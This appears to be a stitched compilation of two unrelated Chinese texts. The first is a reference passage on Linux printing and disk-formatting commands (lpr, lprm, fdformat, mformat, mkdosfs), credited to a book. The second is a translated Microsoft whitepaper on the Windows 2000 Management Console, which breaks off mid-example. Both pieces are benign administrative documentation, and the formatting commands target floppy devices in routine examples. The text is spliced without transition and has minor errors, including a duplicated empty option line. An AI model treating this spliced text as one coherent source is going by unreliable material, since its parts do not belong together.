-p Printer: 将资料送至指定的印表机 Printer，预设值为 lp。

范例：
将 www.c 和 kkk.c 送到印表机 lp。
lpr -Plp www.c kkk.c

名称: lprm
-- 将一个工作由印表机贮列中移除 用法

/usr/bin/lprm [P] [file...]

说明
尚未完成的印表机工作会被放在印表机贮列之中，这个命令可用来将常未送到印表机的工作取消。由于每一个印表机都有一个独立的贮列，你可以用 -P 这个命令设定想要作用的印列机。如果没有设定的话，会使用系统预设的印表机。

这个命令会检查使用者是否有足够的权限删除指定的档案，一般而言，只有档案的拥有者或是系统管理员才有这个权限。

范例
将印表机 hpprinter 中的第 1123 号工作移除

lprm -Phpprinter 1123

将第 1011 号工作由预设印表机中移除

lprm 1011

名称： fdformat

使用权限： 所有使用者

使用方式：fdformat [-n] device

使用说明 :
对指定的软碟机装置进行低阶格式化。使用这个指令对软碟格式化的时候，最好指定像是下面的装置：

/dev/fd0d360 磁碟机 A: ，磁片为 360KB 磁碟
/dev/fd0h1440 磁碟机 A: ，磁片为 1.4MB 磁碟
/dev/fd1h1200 磁碟机 B: ，磁片为 1.2MB 磁碟
如果使用像是 /dev/fd0 之类的装置，如果里面的磁碟不是标准容量，格式化可能会失败。在这种情况之下，使用者可以用 setfdprm 指令先行指定必要参数。

参数：

-n 关闭确认功能。这个选项会关闭格式化之后的确认步骤。

范例：

fdformat -n /dev/fd0h1440

将磁碟机 A 的磁片格式化成 1.4MB 的磁片。并且省略确认的步骤。

名称： mformat

使用权限： 所有使用者

使用方式：

mformat [-t cylinders] [-h heads] [-s sectors] [-l volume_label] [-F] [-I fsVer-sion] [-S sizecode] [-2 sectors_on_track_0] [-M software_sector_size] [-a] [-X] [-C] [-H hidden_sectors] [-r root_sectors] [-B boot_sector] [-0 rate_on_track_0] [-A rate_on_other_tracks] [-1] [-k] drive:

在已经做过低阶格式化的磁片上建立 DOS 档案系统。如果在编译 mtools 的时候把 USE_2M 的参数打开，部分与 2M 格式相关的参数就会发生作用。否则这些参数（像是 S,2,1,M）不会发生作用。

参数：

-t 磁柱（synlider）数
-h 磁头（head）数
-s 每一磁轨的磁区数
-l 标签
-F 将磁碟格式化为 FAT32 格式，不过这个参数还在实验中。
-I 设定 FAT32 中的版本号。这当然也还在实验中。
-S 磁区大小代码，计算方式为 sector = 2^(大小代码+7)
-c 磁丛（cluster）的磁区数。如果所给定的数字会导致磁丛数超过 FAT 表的限制，mformat 会自动放大磁区数。
-s
-M 软体磁区大小。这个数字就是系统回报的磁区大小。通常是和实际的大小相同。
-a 如果加上这个参数，mformat 会产生一组 Atari 系统的序号给这块软碟。
-X 将软碟格式化成 XDF 格式。使用前必须先用 xdfcopy 指令对软碟作低阶格式化的动作。
-C 产生一个可以安装 MS-DOS 档案系统的磁碟影像档（disk image）。当然对一个实体磁碟机下这个参数是没有意义的。
-H 隐藏磁区的数目。这通常适用在格式化硬碟的分割区时，因为通常一个分割区的前面还有分割表。这个参数未经测试，能不用就不用。
-n 磁碟序号
-r 根目录的大小，单位是磁区数。这个参数只对 FAT12 和 FAT16 有效。
-B 使用所指定的档案或是设备的开机磁区做为这片磁片或分割区的开机磁区。当然当中的硬体参数会随之更动。
-k 尽量保持原有的开机磁区。
-0 第 0 轨的资料传输率
-A 第 0 轨以外的资料传输率
-2 使用 2m 格式
-1 不使用 2m 格式

范例：
mformat a:

这样会用预设值把 a: （就是 /dev/fd0）里的磁碟片格式化。

名称： mkdosfs

使用权限： 所有使用者

使用方式： mkdosfs [ -c | -l filename ]
[ -f number_of_FATs ]
[ -F FAT_size ]
[ -i volume_id ]
[ -m message_file ]
[ -n volume_name ]
[ -r root_dir_entry ]
[ -s sector_per_cluster ]
[ -v ]
device
[ block_count ]

说明： 建立 DOS 档案系统。 device 指你想要建立 DOS 档案系统的装置代号。像是 /dev/hda1 等等。 block_count 则是你希望配置的区块数。如果 block_count 没有指定则系统会自动替你计算符合该装置大小的区块数。

参数：

-c 建立档案系统之前先检查是否有坏轨。
-l 从得定的档案中读取坏轨记录。
-f 指定档案配置表（FAT , File Allocation Table)的数量。预设值为 2 。目前 Linux 的 FAT 档案系统不支援超过 2 个 FAT 表。通常这个不需要改。
-F 指定 FAT 表的大小，通常是 12 或是 16 个位元组。12 位元组通常用于磁碟片，16 位元组用于一般硬碟的分割区，也就是所谓的 FAT16 格式。这个值通常系统会自己选定适当的值。在磁碟片上用 FAT16 通常不会发生作用，反之在硬碟上用 FAT12 亦然。
-i 指定 Volume ID。一般是一个 4 个位元组的数字，像是 2e203a47 。如果不给系统会自己产生。
-m 当使用者试图用这片磁片或是分割区开机，而上面没有作业系统时，系统会给使用者一段警告讯息。这个参数就是用来变更这个讯息的。你可以先用档案编辑好，然后用这个参数指定，或是用
-m -
这样系统会要求你直接输入这段文字。要特别注意的是，档案里的字串长度不要超过 418 个字，包括展开的跳栏符号（TAB）和换行符号（换行符号在 DOS 底下算两个字元！）
-n 指定 Volume Name，就是磁碟标签。如同在 DOS 底下的 format 指令一样，给不给都可以。没有预设值。
-r 指定根目录底下的最大档案数。这里所谓的档案数包括目录。预设值是在软碟上是 112 或是 224 ，在硬碟上是 512。没事不要改这个数字。
-s 每一个磁丛（cluster）的磁区数。必须是 2 的次方数。不过除非你知道你在作什么，这个值不要乱给。
-v 提供额外的讯息

范例：
mkdosfs -n Tester /dev/fd0 将 A 槽里的磁碟片格式化为 DOS 格式，并将标签设为 Tester

注：以上资料均来自于电子工业出版社《LINUX宝典大全》


Microsoft 管理控制台 - 概述

操作系统

白皮书

摘要

Microsoft® 管理控制台 (MMC) 是用于管理应用程序的可扩展的通用表示服务。MMC 包括在 Windows® 2000 操作系统中。本文简单介绍 MMC，并提供 MMC 用户界面及 MMC 体系结构的概述。它还解释管理单元的概念，以及它们与控制台的关系。

引言

Microsoft® 管理控制台 (MMC) 是一个 ISV 可扩展的，用于管理应用程序的通用表示服务。MMC 包括在 Windows® 2000 操作系统中，也在 Windows NT® 4.0、Windows 95 和 Windows 98 操作系统系列上运行。

MMC 为 Microsoft 和第三方软件供应商的管理单元提供一个通用的宿主环境。管理单元提供实际管理功能，MMC 本身不提供任何管理功能。MMC 环境能使各种管理单元无缝地集成。

系统管理员和其它用户可以使用各个供应商创建的管理单元创建自定义管理工具。系统管理员可以保存他们创建的工具供日后使用，或者和其他系统管理员和用户共享。除了许多其它的优点之外，这种模式还向管理员提供有效的工具自定义以及为任务委派创建各种复杂程度的工具的功能。

MMC 是 Microsoft 努力创建管理基于 Windows 系统的更得力的工具的成果。Windows 管理开发小组为他们自己的许多管理工具定义了一个通用的宿主。MMC 项目的目标是通过集成、委派、面向任务和总体界面简化等所有这些用户关键要求来支持简化的管理。

随着 Microsoft 向此目标努力，它扩展项目的范围来包括所有的 Microsoft 管理工具，并且向它的许多软件供应商提供此用于管理的通用框架。MMC 是 Windows 管理服务策略的一个关键部分，这一点在本章后面讨论。大多数 Microsoft 开发组会在将来的管理应用程序开发中使用 MMC。

什么是 MMC？

MMC 是一个大量使用 Internet 技术的基于 Windows 的多重文档界面应用程序。Microsoft 和 ISV 都通过编写执行管理任务的 MMC 管理单元来扩展控制台。

MMC 编程接口允许管理单元和控制台集成起来。这些接口只与用户界面扩展发生联系 - 每个管理单元实际怎样执行任务完全由管理单元决定。管理单元和控制台的关系包括共享通用的宿主环境和跨应用程序集成。控制台本身不提供管理功能。管理单元总是驻留在控制台中，它们本身不运行。

Microsoft 和第三方软件供应商都可以开发在 MMC 中运行的管理工具，而且可以编写由 MMC 管理工具进行管理的应用程序。MMC 是 Microsoft 平台软件开发工具包 (SDK) 的一部分，并且可供大众使用。有关 Microsoft 平台 SDK 的详细信息可在 Microsoft Developer Network Web 站点获得 (http://msdn.microsoft.com/downloads/sdks/platform/platform.asp)。

下一节简单地讨论 Windows 管理服务以及 MMC 怎样融入管理模型。

Windows 管理服务和 MMC

Windows 管理服务作为操作系统的一个标准部分提供。这些服务合在一起形成管理基础结构，提供一个可高度扩展的基础，在其上可以创建复杂完善的管理工具，并且提供通用管理函数的一个基准水平。在这些服务之上，Microsoft、其它软件供应商和企业开发人员可以使用 Windows 管理服务的基础函数编写分层次的任意数目的管理工具。MMC 是这一模型的核心组件。

本节简单地讨论 MMC、Active Directory™ 目录服务和组策略在管理结构中的作用。强调这些特定的技术是因为，正如在本文“MMC 基于 Active Directory 的部署”一节中所讲述的那样，它们是在 Active Directory 环境中部署自定义 MMC 控制台的手段。

有关 Windows 管理服务的详细信息，请参见 Windows 2000 Server Web 站点或 Microsoft TechNet 上的“Windows 管理服务介绍”白皮书。

Windows 管理服务可分为三个逻辑层次。

  • 通用服务。这些是构成 Windows 管理服务基础的低级操作系统服务。这一层包括诸如 Active Directory、统一规范和事件通知服务之类的基本服务。
  • 管理逻辑。这一中间层有两个主要区域。第一个区域包括更改和配置管理、安全管理和问题跟踪所必须的标准管理工具。第二个区域是增值管理解决方案，也就是 Microsoft 和第三方软件供应商提供的基于任务的管理解决方案。组策略 MMC 管理单元是包括在 Windows 2000 操作系统中的标准管理工具之一。
  • 表示。此层代表允许用户把其它服务结合在一起并允许用户及进程与这些服务交互的高级、通用服务。MMC 是这一层的一部分。

Windows 管理服务如图 1 所示。

图 1 Windows 管理服务

通用服务

通用服务代表 Microsoft 和其它公司可以用来创建增值解决方案的构件。这一层包括 Active Directory，它是提供两种关键通用管理服务的安全的、分布式、分区的和可复制的目录服务。Active Directory 提供标准的位置服务，也就是，它提供查找计算机系统内资源的标准方法。Active Directory 服务还为将组策略应用到 Active Directory 管理的对象提供基础。

Windows 2000 Server 操作系统包括几个 Active Directory MMC 管理单元。Active Directory 站点和服务、Active Directory 用户和计算机和 Active Directory 域和信任关系。此外，管理员可以安装包括在 Windows 2000 管理工具安装向导中的 Active Directory 架构管理单元，它在 Windows 2000 Server CD 的 I386 文件夹中（文件名是 Adminpak.msi）。下面描述的组策略管理单元，它扩展 Active Directory 站点和服务以及 Active Directory 用户和计算机管理单元。

除标准的位置服务之外，Windows 2000 操作系统还包括 Windows 管理规范，它提供一个统一的模型，通过这种模型可以用标准的方式访问和管理任何来源的管理数据。

管理逻辑

管理逻辑层提供两类独特的服务。它提供从通用服务创建的标准管理工具，使用这些工具可以开发高端、全功能、增值的管理解决方案。管理员可以使用组策略 - Windows 2000 Server 的标准管理工具之一 - 最大限度地提高用户的工作效率，从而确保人们可以用到所需的数据、应用程序、操作系统和设置，并且它们都已根据他们的工作任务最优地配置好了。

管理员使用组策略 MMC 管理单元指定计算机组和用户组的被管理的桌面配置选项。组策略提供基于注册表的策略设置、安全设置、软件安装、脚本和文件夹重定向选项。管理员创建的组策略设置包括在组策略对象 (GPO) 中，组策略对象又与选定的 Active Directory 容器（站点、域、和组织单位 (OU)）相关联。

系统管理员还可以为不是域成员的计算机设置本地组策略。为设置本地组策略，管理员使用专门负责本地计算机的组策略管理单元。

通用表示

通用表示服务（如 MMC）也包括在操作系统中。MMC 为管理应用程序（管理单元）提供了一个开放的、可扩展的和通用的宿主环境。MMC 提供了一个统一的用户界面，可存放包括管理单元在内的用来管理网络、计算机、服务和其它系统组件的管理工具。

下面的一节讨论 MMC 用户界面 (UI)，并介绍 UI 元素和 MMC 名称空间。

MMC 用户界面

MMC UI 初看起来就像 Windows 资源管理器的 MDI 版。完整的 MMC 控制台就像图 2 显示的那样。

图 2 MMC 控制台

MDI 子窗口提供许多不同的视图。这些子视图中的每一个都包括一个命令栏、“控制台树”（左窗格）和“细节窗格”（右窗格）1。命令栏包括下拉菜单和按钮。控制台树是一个显示控制台中可用的管理单元的层次结构。此树状列表显示所有可见的节点，每个节点都代表一个可管理的容器、对象、任务或视图。控制台树未必在所有的视图中都可见 - 在本例中，它只在左上的子窗口中可见。

每个子窗口的细节窗格都显示在控制台树中选定节点的结果。在许多情况下，它是文件夹内容的列表，但是在有的情况下，它是一个与管理相关的视图（例如在本例中的性能图表），它可以是基于 Web 的也可以是基于 ActiveX® 控件的。MMC 名称空间包括控制台树和细节窗格。有关这一点在本文的“MMC 名称空间”一节更详细地介绍。

如上所述，可以将 MMC 配置成为强大的管理工具。MMC 还能向经验较少的管理员提供不那么令人望而却步的简化视图。例如，图 3 所示的控制台可以表现为包括面向任务信息的任务板视图。

图 3 只以任务板视图出现的控制台

另一个简单的视图可以通过将视图浓缩为单一的工具来获得，就像图 4 中显示的服务管理窗口。

图 4 浓缩为单一视图的控制台视图

因为 MMC 允许自定义，人们可以创建和保存许多工具，前面例子中的每个视图都可以作为不同的工具保存进单独的文件。当将这些文件给另一个人时，那个人就可以打开文件，相应的文件就会如最初配置的一样加载。例如，高级管理员可以创建图 4 中的视图（计算机上的各种服务的列表）并将该视图发送给只管理那台计算机上的服务的操作员。操作员只能收到 - 并且能访问 - 图示的 UI。有关控制台自定义和工具委派及部署的主题在本文的“创建自定义控制台：举例”和“MMC 基于 Active Directory 的部署”两节更详细地讨论。自定义很简单。管理员可以使用“管理单元管理器”动态地加载和卸载管理单元。（管理单元管理器提供一个可用管理单元的列表，用户可在控制台中添加或删除管理单元。）要访问管理单元管理器，管理员应在 MMC 控制台菜单中单击添加/删除管理单元。

在下面的例子中（图 5），添加/删除管理单元对话框用于将 Active Directory 域和信任关系管理单元加入控制台。

图 5 Active Directory 域和信任关系管理单元

用户界面元素

本节介绍 MMC 图形用户界面 (GUI) 的主要元素。这些元素中的大多数都是标准的基于 Windows 2000 软件 GUI 元素，经过剪裁供 MMC 使用。

菜单

MMC 控制台有主要菜单、操作区和工具栏。主菜单是控制台、窗口和帮助，这些菜单提供作用于整个控制台的命令。

图 6 所显示的就是一个新控制台。

图 6 控制台界面元素

操作区

操作区是包括菜单和图标的一个长方形区域。操作区包括下列菜单：

  • 操作与 Windows 中的上下文菜单包括的内容相同（可以通过右击对象或容器弹出上下文菜单）。
  • 视图控制信息在细节窗格中的显示方式。
  • 收藏夹当您以作者模式打开新的控制台，或控制台的收藏夹列表已经有项目加入其中时才会显示此选项卡。收藏夹列表可以包括到工具、控制台中的管理单元或任务的快捷方式。当您以作者模式使用 MMC 时，您有权使用 MMC 的所有功能。可以添加或删除管理单元、创建新窗口、创建任务板视图和任务、向收藏夹列表添加内容和查看控制台树的各个部分。

工具栏

MMC 控制台包括两个标准的 Windows 工具栏：

  • 控制台工具栏。包括主要菜单和作者模式带（当在作者模式中使用时）。
  • 管理单元工具栏。包括操作区、通用命令带和一个或更多管理单元特有的带。

属性页

“属性页”是用户可以用来查看或编辑管理单元属性的窗口。属性页包括一个或更多重叠的“属性页”，它们是包括设置一组相关属性的控件的子窗口。每页有一个选项卡，单击它可以将页移到属性页的前台。

例如，计算机管理属性页包括例如计算机的文本描述、设置环境变量、性能选项和启动及恢复选项等设置属性的控件。

向导

“向导”是一类属性页，用来按照应用程序所控制的顺序显示单个的属性页。对用户来说，向导是提供一系列用来完成特定任务的步骤的一组窗口。用户可以使用位于属性页底部的上一步和下一步按钮在序列中前进。

有些 MMC 管理单元使用向导为用户自动完成或简化任务。例如，Active Directory 用户和计算机管理单元包括管理员用来委派 Active Directory对象控制的“控制委派”向导。管理员使用此向导授予管理存储在 Active Directory 服务中的用户、组、计算机、组织单位和其它对象的其它用户权限。

MMC 管理单元可以添加标准页和 Wizard 97 页；但是，首选的方法是使用 Wizard 97 页。有关 Wizard 97 页的详细信息，请参见 Microsoft Platform SDK 文档 (http://msdn.microsoft.com/downloads/sdks/platform/platform.asp)。

对话框

MMC 使用对话框，它们是主要用于从用户那里获取信息来完成给定任务的次级窗口。对话框通常是“模式对话”，这意味着用户必须关闭对话框才能访问其它窗口。但是，MMC 主要是无模式的，这就允许用户在打开的窗口之间来回切换。

下面几节介绍 MMC 名称空间。

MMC 名称空间

MMC 名称空间是在控制台窗口中显示的对象和容器的层次结构。窗口包括两个窗格；左窗格包括控制台树，右窗格包括细节窗格。左窗格还包括下面将讲述的收藏夹选项卡。

控制台树包括容器的层次结构，大多数容器用文件夹图标代表。有些容器以独特的图标显示，它们用图形代表它们包含的内容的类型。

细节窗格根据所选择的视图类型显示控制台树中选定的项目。

控制台树窗格

控制台树使用标准的基于 Windows 的树控件来根据容器和对象的层次结构关系将一组容器和对象表示为锯齿状的外形。

在本文中，术语“容器”是指控制台树中的项目，当被展开时在控制台树中显示其下的子容器，当您选中它时在细节窗格中显示其子容器（取决于选定的视图）。

“对象”是指控制台树中其下面没有子项目显示在控制台树中的项目；当您在控制台树中选中它时，对象在细节窗格中显示信息。

容器

控制台树中的大多数项目都是包含其它容器、对象或两者都有的容器。

控制台根节点

控制台根节点是包含管理单元根节点的容器。

管理单元根节点

管理单元根节点是管理单元中最顶端的节点，它上面带有根据管理的产品或任务而定的标签。每个独立的管理单元只有一个管理单元根节点。MMC 支持独立的和扩展的管理单元。独立管理单元提供管理功能，不需要其它管理单元的支持，而扩展管理单元需要在控制台树中它的上面有父管理单元。扩展管理单元扩展其它管理单元提供的功能。

收藏夹列表

当您用作者模式创建控制台时，新控制台的左窗格包括收藏夹选项卡。如果控制台中的收藏夹列表有项目加入其中，此选项卡也会显示。

可以使用收藏夹列表来：

  • 创建快捷方式。指向控制台中的工具或项目。
  • 为无经验的用户创建任务。例如，可以创建自定义任务，包括只指向用户需要执行任务的快捷方式，提供控制台的简化的视图。
  • 组织任务板视图。例如，如果控制台的多个任务板视图分布在控制台树的若干个地方，您可以将这些视图加入收藏夹列表，用户从一个位置便能访问所有的视图。

备注 MMC 1.1 版不支持用户创建的任务板。

细节窗格

细节窗格显示在控制台树中选定项目的视图。它也被称为结果窗格。细节窗格可以用多种格式显示信息：列表视图、任务板视图，作为 ActiveX 控件 (OCX) 或作为 HTML 页。

列表视图

列表视图显示一组项目，每个项目都包括一个图标和标签，列表视图有几种显示和组织项目的方式。例如，每个项目的详细信息可以在图标和标记的右边成列显示。有下列几种视图类型模式：

  • 大图标
  • 小图标
  • 列表
  • 详细资料
  • 被筛选

列的自定义

MMC 支持列的自定义，用户可以自定义详细资料列表视图中列的配置。用户对列配置所做的更改由控制台保存或延续下来。不是所有的管理单元都支持列的自定义。

通过更改列的配置，可以：

  • 自定义列和行的显示。例如，可以重新排列或隐藏列。或者可以单击列标题按字母或时间顺序将行重新排列。
  • 根据特殊的属性筛选列。这只对某些管理单元适用。如果启用此功能，包括筛选选项的下拉列表框中的一行显示在列标题的下面。

备注 MMC 1.1 版不支持列配置。

任务板视图

任务板视图是动态 HTML (DHTML) 页，它显示指向在作用域窗格内选定的项目可用的命令的快捷方式，任务板视图在细节窗格中显示。每个命令都可以以任务代表，任务包括图像、标签、描述和指示管理单元运行该命令的机制。用户可以通过单击任务来运行命令。

可以使用任务板视图来：

  • 包括某用户可能需要执行的全部任务的快捷方式。
  • 通过在控制台中创建多个任务板视图来根据功能或用户将任务分组。
  • 创建简化的任务列表。例如，可以向任务板视图添加任务，然后隐藏控制台树。这样，用户不用知道特定项目在控制台树或操作系统中的位置就可以开始使用工具，这使得无经验的用户可以更容易地完成他们的工作。
  • 简化复杂的任务。例如，如果用户经常执行一项涉及几个管理单元和其它工具的任务，您可以将那些任务的快捷方式组织到一个位置，在这里可以运行适当的属性页、命令行、对话框或脚本。

自定义 ActiveX 控件（OCX 控件）

ActiveX 控件是基于 COM 的对象，它可以在其自身的窗口中描绘出它自己，响应事件（例如鼠标单击），人们可以通过包括类似于 Automation 对象中的属性和方法的接口对其进行管理。您可以将自定义的 ActiveX 控件（对象或组件）插入 Web 页或应用程序来反复使用它们的功能。管理单元可以在细节窗格中启动 ActiveX 控件。

自定义 Web 页

控制台的细节窗格可以容纳位于本地计算机或 Web 服务器上的 HTML 页。

MMC 是 Web UI 和基于 Win32® UI 的集成点。在控制台菜单上选择添加/删除管理单元，然后单击添加添加一个 Web 地址的链接，便可以在保存的控制台文件中显示 Web 页。这就允许您混合和匹配基于 Web 的管理程序和 MMC 管理单元。

导出列表

MMC 支持将所有标准列表视图中显示的数据导出到文本文件。当一个有列表视图的作用域窗格节点被选定，用户单击导出列表时，列表视图中可见的列按照它们在视图中出现的顺序被导出到文本文件中。可以通过选择特定的行只导出这些行。

备注 MMC 1.1 版不支持导出列表功能。

MMC 工作原理

MMC 控制台是大量使用 Internet 技术的基于 Windows 的 MDI 应用程序。控制台本身没有任何管理功能；它是容纳其它软件 - 管理单元 - 的宿主，它通过扩展控制台来提供实际的管理功能。

MMC 模型如图 7 所示。

图 7 MMC 模型

该工具的 UI 元素和“MMC 管理单元管理器”交互，MMC 管理单元管理器又和各种管理单元交互。要访问管理单元管理器，在 MMC 控制台菜单中单击添加/删除管理单元。管理单元管理器也负责将设置保存进文档（管理保存控制台或 .msc 文件）。用户与图上部的所有项目.msc 文件和 UI 元素交互。开发人员与底部的项目（管理单元管理器、路由和远程访问、事件查看器管理单元）交互。

当用户加载 MMC 工具时，一个或更多的管理单元被初始化。这些管理单元被集成起来以形成工具的名称空间 - 在控制台树和详细资料视图中显示的对象和容器的层次结构，详细资料视图显示在控制台树中被选定的项目的视图。名称空间是代表该工具可以做什么的主树。它和硬盘上的文件和文件夹的树状视图类似。名称空间可以包括网络所有的可管理方面 - 计算机、用户和组等等。细节窗格可以以列表视图、任务板视图、ActiveX 控件或 HTML 页来显示信息。

MMC 中的子窗口都是查看此主名称空间的视图。这和用 Windows 资源管理器的多个实例查看同一个硬盘类似。每个视图可能以控制台树的不同部分为根，但它们都指向相同的主数据源（就像图 8、9 和 10 中的例子）。如果数据现在在多个子窗口中显示，当您删除一个视图中的数据时，它也会从其它视图中消失。

图 8 “Services”节点的视图

图 9 “Shared Folders”下的“Shares”节点的视图

图 10 “System Monitor Control”节点的视图

管理单元

每个 MMC 工具都是由一组叫做 MMC“管理单元”的更小工具的实例的集合组成的。一个管理单元代表管理功能的一个单位。管理单元是控制台扩展的最小单位。从技术上讲，管理单元是在 MMC 进程上下文中运行的 OLE In Process (InProc) 服务程序。（In Process 服务程序是作为动态链接库 (DLL) 实现并和客户程序在同一个进程中运行的服务程序。）

管理单元可以调用其它支持控件和动态链接库 (DLL) 来完成它的任务。

管理单元通过添加和启用管理功能扩展 MMC。这一功能可以用几种方式提供。例如，管理单元可能向可查看的节点名称空间添加元素，或者它可以直接向现有的管理单元中添加上下文菜单、工具栏、属性页、向导或帮助来扩展一个工具。

用多个管理单元制作自定义的工具

MMC 提供了创建自定义的管理工具的功能。这便使得系统管理员创建、保存、然后委派为特定任务制作的管理工具。

系统管理员可以将多个供应商提供的多个管理单元组合成“工具”（也叫做“文档”）。管理员可以创建多个工具，并且在需要的时候加载和卸载，这些工具正是管理员管理网络实际使用的工具。

用各种管理单元制作出一个工具之后，管理员可以用 .msc 文件保存工具，并且在以后重新加载该文件以便即刻重建该工具。可以用电子邮件将 .msc 文件发给另一个管理员，然后该管理员可以加载该文件并使用产生的工具。（如果第二个管理员在他或她的计算机上没有安装全部必须的管理单元，当他或她加载 .msc 文件时，MMC 自动下载所需要的管理单元。）

系统管理员也可以使用组策略管理单元及其软件安装扩展将保存的控制台和管理单元分发给其他系统管理员。有关这一主题的详细信息，请参见“MMC 基于 Active Directory 的部署”一节。

在一台计算机上可以同时运行多个工具，但是每个工具都需要它自己的 MMC 实例在运行中。

注意有了 MMC，一个工具（保存的控制台文件）不一定只有一个用途。很有可能管理员创建并经常使用的一个工具包括网络各个方面的管理功能 - Active Directory、复制拓扑、文件共享等等。它之所以被称为工具，是因为它在 MMC 的一个实例中运行，并且可以用 .msc 文件保存。

下面的步骤是创建控制台和添加管理单元的一般步骤。

要创建新的控制台

  1. 在开始菜单上，单击运行，并键入 mmc/a 打开一个新控制台。

    使用 /a 参数以作者模式打开控制台，它将赋予对所有 MMC 功能的完全访问权限。

  2. 在控制台菜单上，单击添加/删除管理单元。
  3. 在添加/删除管理单元对话框中，单击添加，选择希望使用的管理单元，选择本地计算机或另一台计算机（适用于远程管理），单后单击完成。

    如果向导出现，遵循屏幕上的步骤。

  4. 要添加任何可用的管理单元扩展，单击扩展，从可用的扩展列表中选择要使用的扩展，然后单击确定。

    要保存控制台，在控制台菜单上单击保存。

MMC 控制台访问模式

当创建自定义 MMC 控制台时有两个可用的通用访问模式选项，作者模式和用户模式。要设置访问模式选项，使用控制台中的选项菜单，然后选择下列两个选项之一：

  • 作者模式 - 允许对所有 MMC 功能进行完全访问，包括添加或删除管理单元、创建新窗口、创建任务板视图和任务、向收藏夹列表添加项目和查看控制台树的所有部分。

    用户模式 - 提供对 Windows 管理命令的访问权限，并定义对控制台树的访问级别。当您选择用户模式时，用户不能添加或删除管理单元或更改控制台属性。用户模式提供了定义访问控制台树的三个级别的选项：

    • 完全访问。
    • 受限访问，多窗口。
    • 受限访问，单窗口。

程序包是可安装的管理单元集合

要用管理单元创建工具，用户必须首先获得管理单元。供应商通常以被称为“程序包”的形式发行管理单元。例如，Windows 2000 操作系统本身就包括一个或更多管理单元的程序包。而且，其它供应商可能发行完全由管理单元程序包作成的产品。

将管理单元组成程序包为人们下载和安装提供了方便。在 Windows 2000 操作系统中的 MMC 1.2 版中已加入了自动代码下载；它下载程序包而不下载管理单元。这样便允许几个管理单元共享核心 DLL 从而这些（可能很大的）DLL 就不必放在每个管理单元中。

管理单元的类型

对管理员透明的每种管理单元在内部支持下列两种模式中的一种或两种：

  • 独立管理单元 - 提供管理功能，即便在控制台中单独存在且没有其它支持管理单元时也能提供。这种模式的管理单元不应依赖存在的任何其它管理单元。
  • 扩展管理单元 - 只有在和父管理单元一同使用时才提供管理功能。扩展管理单元只能扩展给定的节点类型。它声明自己是某种类型节点的从属，然后每当控制台上的那些节点类型出现时，控制台自动在它下面添加相关的管理单元扩展。

    例如，一个扩展管理单元是 Log Pretty Print 管理单元，它向用户提供几种打印日志文件（例如 Windows 2000 事件查看器日志）的方法。在安装了此管理单元的情况下，名称空间里的每个日志对象都会被扩展，扩展后带有 Pretty Print 上下文菜单项目。

    扩展管理单元能够提供许多功能。有的扩展管理单元能实际扩展控制台名称空间（例如，提供计算机系统信息的管理单元会将该系统信息添加到名称空间中的每台计算机下的名称空间中），有的扩展管理单元只是简单地扩展上下文菜单或特定的向导。有关详细信息，请参见本文的下一节“控制台可扩展性机制”。

许多管理单元支持两种操作模式，提供某些独立功能，也扩展其它管理单元的功能。例如，Windows 2000 事件查看器管理单元读取计算机的事件日志。如果控制台中存在 MyComputer 对象，事件查看器管理单元自动扩展 MyComputer 对象的每个实例并提供那台计算机的事件日志。或者，事件日志也可以在独立模式下运行，在这种情况下，当要打开管理单元时管理员必须手动提供计算机名，管理单元只提供这一台计算机的事件日志。

控制台可扩展性机制

Microsoft 定义了下列管理单元可扩展性模式。每个管理单元必须至少提供一种表 1 中所列出的功能类型。

表 1 管理单元的可扩展性模式
机制 | 类型 | 说明
名称空间扩展 | 每节点 | 可以用管理单元管理器添加的管理单元的方法来扩展名称空间。管理单元通过实现 Icomponent 接口在细节窗格中列举项目。
上下文菜单扩展 | 每节点 | 管理单元可以扩展 MMC 为作用域和细节窗格中的项目创建的默认菜单。为此，管理单元必须实现 IextendContextMenu 接口。
工具栏扩展 | 每视图，基于该视图中的选定项目 | 管理单元可以扩展 MMC 所提供的工具栏，或者它们也可以创建工具栏。可以使用几个接口创建工具栏，包括 Itoolbar、IcontrolToolbar、IExtendControlbar 和 IconsoleVerb。
属性页扩展 | 每节点 | 管理单元可以向属性页框架添加一个或更多的属性页。IpropertySheetProvider、IPropertySheetCallback 和 IExtendPropertySheet2 用于提供属性页扩展。前两个由 MMC 使用，第三个由管理单元使用。 备注 要将属性页创建为 Wizard 97 风格的向导，应使用 IExtendPropertySheet2 接口和 IExtendPropertySheet2:GetWatermarks 方法。
帮助 | 每管理单元 | 管理单元可以使用 ISnapinHelp2 接口和 ISnapinHelp2::GetLinkedTopics 方法提供 HTML 帮助。

在所有的情况下，管理单元可以选择根据在打开时传递给它的上下文信息更改返回的枚举。这便允许管理单元作为扩展注册并提供有条件的功能。例如，“我的电脑”上下文菜单可以选择只有在当它确定有人请求它打开本地计算机上的控制面板（因为控制面板不可远程控制）时才提供打开控制面板。

除了“新建”和“任务”菜单扩展，所有其它的扩展都是通用的用户界面扩展机制。“新建”和“任务”菜单扩展被用作一种将操作组合起来以便形成集成的、面向任务的命令结构的机制。如果控制台只提供一般的菜单扩展接口，那么在使用模式中就不会有什么一致性。在 MMC 中，每个节点都有新建和任务菜单。通过这种扩展注册机制，所有这些菜单项目和相应的功能都被集中到一个 UI 中。

与 MMC 一起使用非 MMC 工具

可以在计算机上同时运行非 MMC 管理程序和一个或更多个 MMC 实例，并可使用操作系统随便来回切换。

还可以在 MMC 控制台中创建非 MMC 工具的快捷方式。当以 .msc 文件保存工具时这些快捷方式也随之保存。在 MMC 中可以创建任何可执行程序 (.exe)、脚本或 URL 的快捷方式。

创建自定义的控制台：举例

MMC 的主要优点之一是支持自定义工具。系统管理员可以为特定的管理任务创建自定义的 MMC 控制台，然后将那些控制台委派给其他管理员。可以侧重于各种管理员组的特殊管理需求创建工具。无论是在将管理计算机系统的任务分配给若干个组来完成的采用分级网络管理方式的单位，还是在管理员完成全部计算机系统管理任务的企业中，这种功能都同样有用。

本节给出三个控制台自定义的例子。在第一个例子中，自定义控制台是为执行与管理用户相关的多项任务的管理员创建的。在第二个例子中，控制台是使用各种用于排除数据库应用程序中的故障的管理单元创建的。在第三个例子中，控制台是采用事件查看器、服务和共享文件夹工具创建的，该控制台包括任务板视图和任务。

例一

在本例中，管理员要关心用户、安全性、身份验证和分布式文件系统的管理。管理员使用下列管理单元：

  • Active Directory 用户和计算机 - 管理员使用此管理单元创建和管理帐户用户和计算机帐户，创建和管理组，将计算机添加到域，管理域控制器，管理组织单位，以及发行并查找已发行的诸如打印机和共享文件夹之类的资源。

